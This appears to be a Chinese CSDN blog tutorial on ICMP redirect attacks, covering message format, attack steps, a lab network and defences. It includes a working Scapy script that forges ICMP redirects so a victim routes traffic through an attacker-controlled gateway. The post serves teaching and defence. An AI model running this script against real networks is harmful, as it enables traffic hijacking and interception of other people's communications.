首页 > 其他分享 >使用 Scapy 库编写 ICMP 重定向攻击脚本

使用 Scapy 库编写 ICMP 重定向攻击脚本

时间:2024-06-08 19:32:06浏览次数:20  
标签:重定向 主机 Scapy 攻击者 ICMP gateway target

一、介绍

ICMP重定向攻击(ICMP Redirect Attack)是一种网络攻击,攻击者通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到攻击者控制的路由器或其他不可信任的设备上。该攻击利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。

1.1 ICMP重定向消息的工作原理

ICMP(Internet Control Message Protocol,互联网控制消息协议)是一种用于传递控制消息的协议,主要用于报告网络设备之间的通信问题。ICMP重定向消息用于通知主机,数据包可以通过一个更好的路径传输,从而优化网络流量。典型的ICMP重定向消息格式如下:

  • 类型(Type):5(表示ICMP重定向消息)
  • 代码(Code)
    • 0:用于网络的重定向
    • 1:用于主机的重定向
    • 2:用于服务类型和网络的重定向
    • 3:用于服务类型和主机的重定向
  • 校验和(Checksum):用于检测错误的校验和
  • 网关IP地址(Gateway Address):建议的数据包应发送到的新路由器的IP地址
  • 数据:包含原始数据包的IP头和前8个字节,以便目标主机识别被重定向的会话

1.2 ICMP重定向攻击的步骤

  1. 捕获合法数据包:攻击者首先在网络上嗅探流量,捕获目标主机和合法路由器之间的通信。
  2. 伪造ICMP重定向消息:攻击者构造一个伪造的ICMP重定向消息,指定目标主机应将特定数据包发送到攻击者控制的设备。
  3. 发送ICMP重定向消息:攻击者将伪造的ICMP重定向消息发送到目标主机,诱使目标主机更新其路由表。
  4. 劫持或中断流量:一旦目标主机更新了其路由表,攻击者可以劫持或中断目标主机的网络流量。

二、实验环境

攻击者:192.168.134.147

受害者 A:192.168.134.148

受害者 B:192.168.134.149

三、实操演示

以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP重定向消息

from scapy.all import *
from scapy.layers.inet import ICMP


def icmp_redirect_attack(target_ip, target_gateway, new_gateway):
    # 构造ICMP重定向消息
    ip = IP(src=target_gateway, dst=target_ip)
    icmp = ICMP(type=5, code=1, gw=new_gateway)  # code 1 表示主机重定向
    original_packet = IP(src=target_ip, dst="192.168.134.149") / ICMP()  # 假设目标主机要访问 192.168.134.149
    icmp_redirect = ip / icmp / original_packet

    send(icmp_redirect)
    print(f"Sent ICMP redirect from {target_gateway} to {target_ip} with new gateway {new_gateway}")


if __name__ == "__main__":
    target_ip = "192.168.134.148"  # 目标主机的IP地址
    target_gateway = "192.168.134.2"  # 目标主机当前的网关
    new_gateway = "192.168.134.147"  # 伪造的新网关(攻击者控制的设备)
    icmp_redirect_attack(target_ip, target_gateway, new_gateway)

受害者 A 接受到了伪造的 ICMP 包 

四、防御措施

防御ICMP重定向攻击的措施主要包括以下几点:

  1. 禁用ICMP重定向消息:在主机和路由器上禁用ICMP重定向消息,以防止接收和处理重定向消息。这可以通过配置操作系统参数来实现,例如在Linux系统上,可以将/proc/sys/net/ipv4/conf/all/accept_redirects/proc/sys/net/ipv4/conf/default/accept_redirects设置为0来禁用ICMP重定向。

  2. 配置防火墙规则:使用防火墙规则过滤和阻止ICMP重定向消息。管理员可以在防火墙上添加规则,以丢弃或拦截传入的ICMP重定向消息。

  3. 启用安全特性:启用网络设备上的安全特性,如动态ARP检查(Dynamic ARP Inspection,DAI)和IP Source Guard,以防止网络攻击。这些特性可以帮助检测和阻止恶意ARP和IP地址欺骗行为,从而提高网络的安全性。

  4. 网络设备升级和配置审查:定期升级和维护网络设备的固件或软件,并对设备的配置进行审查和调整。确保设备上运行的软件版本没有已知的安全漏洞,并且配置符合最佳安全实践。

  5. 监控和报警:使用入侵检测系统(Intrusion Detection System,IDS)和入侵防御系统(Intrusion Prevention System,IPS)来监控网络流量,并在检测到可疑的ICMP重定向消息或其他攻击行为时触发警报。及时发现并应对恶意活动可以有效地减少攻击造成的损失。

通过综合使用上述防御措施,可以有效地保护网络免受ICMP重定向攻击和其他网络攻击的影响,提高网络的安全性和稳定性 

标签:重定向,主机,Scapy,攻击者,ICMP,gateway,target
From: https://blog.csdn.net/2302_82189125/article/details/139298028

相关文章

  • 【四】Linux重定向、管道符、通配符、转义字符详解
    重定向与管道符重定向输入重定向是指把文件导入到命令中,而输出重定向则是指把原本要输出到屏幕的数据信息写入到指定文件中。输出重定向使用较多,故将输出重定向分为了标准输出重定向和错误输出重定向,以及覆盖写入与追加写入两种模式。输出重定向的符号及其作用:命令>文件......
  • QT笔记:重定向qDebug到控件
    QT笔记:重定向qDebug到控件作为log输出的qDebug可以将调试信息打印到调试终端中,但是有时候实际使用将其输出到UI界面也是很有用的,这里记录下如何将qDebug进行控件重定向。测试版本为QT6.6.2代码mainwindow.h//只要能正常编译过qDebug的就行#include<QMainWindow>QT_BEGIN_......
  • 通用漏洞-crlf&url重定向&拒绝服务攻击
    1.crlf注入1.1原理crlf是在数据包头头部采取一些回车加换行的操作,把自己的其他代码放到数据包中去覆盖掉原本的数据的方法,常配合xss漏洞使用,这个漏洞本身的造成危害并不严重,CRLFInjection又叫HTTP响应拆分/截断(HTTPResponseSplitting)简称HRS。CRLF是CR和LF两个字符的拼接......
  • CRLF注入 URL重定向 WEB拒绝服务
    CRLF注入URL重定向WEB拒绝服务1.1CRLF我们先了解一下什么是CRFL注入CRLF注入(CRLFInjection)是一种网络安全漏洞,攻击者通过在输入中插入回车(CarriageReturn,CR)和换行(LineFeed,LF)字符,从而操控服务器或客户端的行为,通常用于执行跨站脚本(XSS)、HTTP响应拆分攻击(HTTPResponse......
  • 《计算机网络微课堂》实验19 网际控制报文协议ICMP的应用
    下面我们来进行一个仿真实验,本仿真实验的目的在于验证PING命令和tracert命令的工作原理,这两个命令都是基于网际控制报文协议ICMP而实现的。ping命令在我们之前的仿真实验中经常会用到,我们使用它来测试主机之间的连通性,或者是主机和路由器之间的连通性,又或者是路由器和路由......
  • 【Linux 网络】网络基础(三)(其他重要协议或技术:DNS、ICMP、NAT)
    一、DNS(DomainNameSystem)DNS 是一整套从域名映射到 IP 的系统。1、DNS 背景TCP/IP 中使用 IP 地址和端口号来确定网络上的一台主机的一个程序,但是 IP 地址不方便记忆。于是人们发明了一种叫主机名的东西,是一个字符串,并且使用 hosts 文件来描述主机名......
  • 使用 Scapy 库编写 Ping of Death 攻击脚本
    一、介绍1.1概述PingofDeath(PoD)攻击是一种历史悠久的拒绝服务(DoS)攻击,攻击者通过发送特制的畸形ICMPEcho请求数据包,导致目标系统无法正确处理,从而导致系统崩溃、重启或无法响应正常请求。这种攻击利用了ICMP协议中的缺陷,在某些情况下可以绕过防火墙或其他安全措施。1.2......
  • 如何使用 Apache 和 Nginx 创建临时和永久重定向
    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。简介HTTP重定向,或者URL重定向,是一种将一个域名或地址指向另一个的技术。重定向有许多用途,也有几种不同的重定向方式需要考虑。当一个站点需要将请求一个地址的人重定向......
  • 如何使用 Nginx 创建临时和永久重定向
    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。简介HTTP重定向是将一个域名或地址指向另一个的方法。有几种不同类型的重定向,每种对客户端浏览器意味着不同的事情。最常见的两种类型是临时重定向和永久重定向。临时重......
  • 如何使用 Nginx 创建临时和永久重定向
    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。简介HTTP重定向是将一个域名或地址指向另一个的方法。有几种不同类型的重定向,每种对客户端浏览器意味着不同的事情。最常见的两种类型是临时重定向和永久重定向。临时重......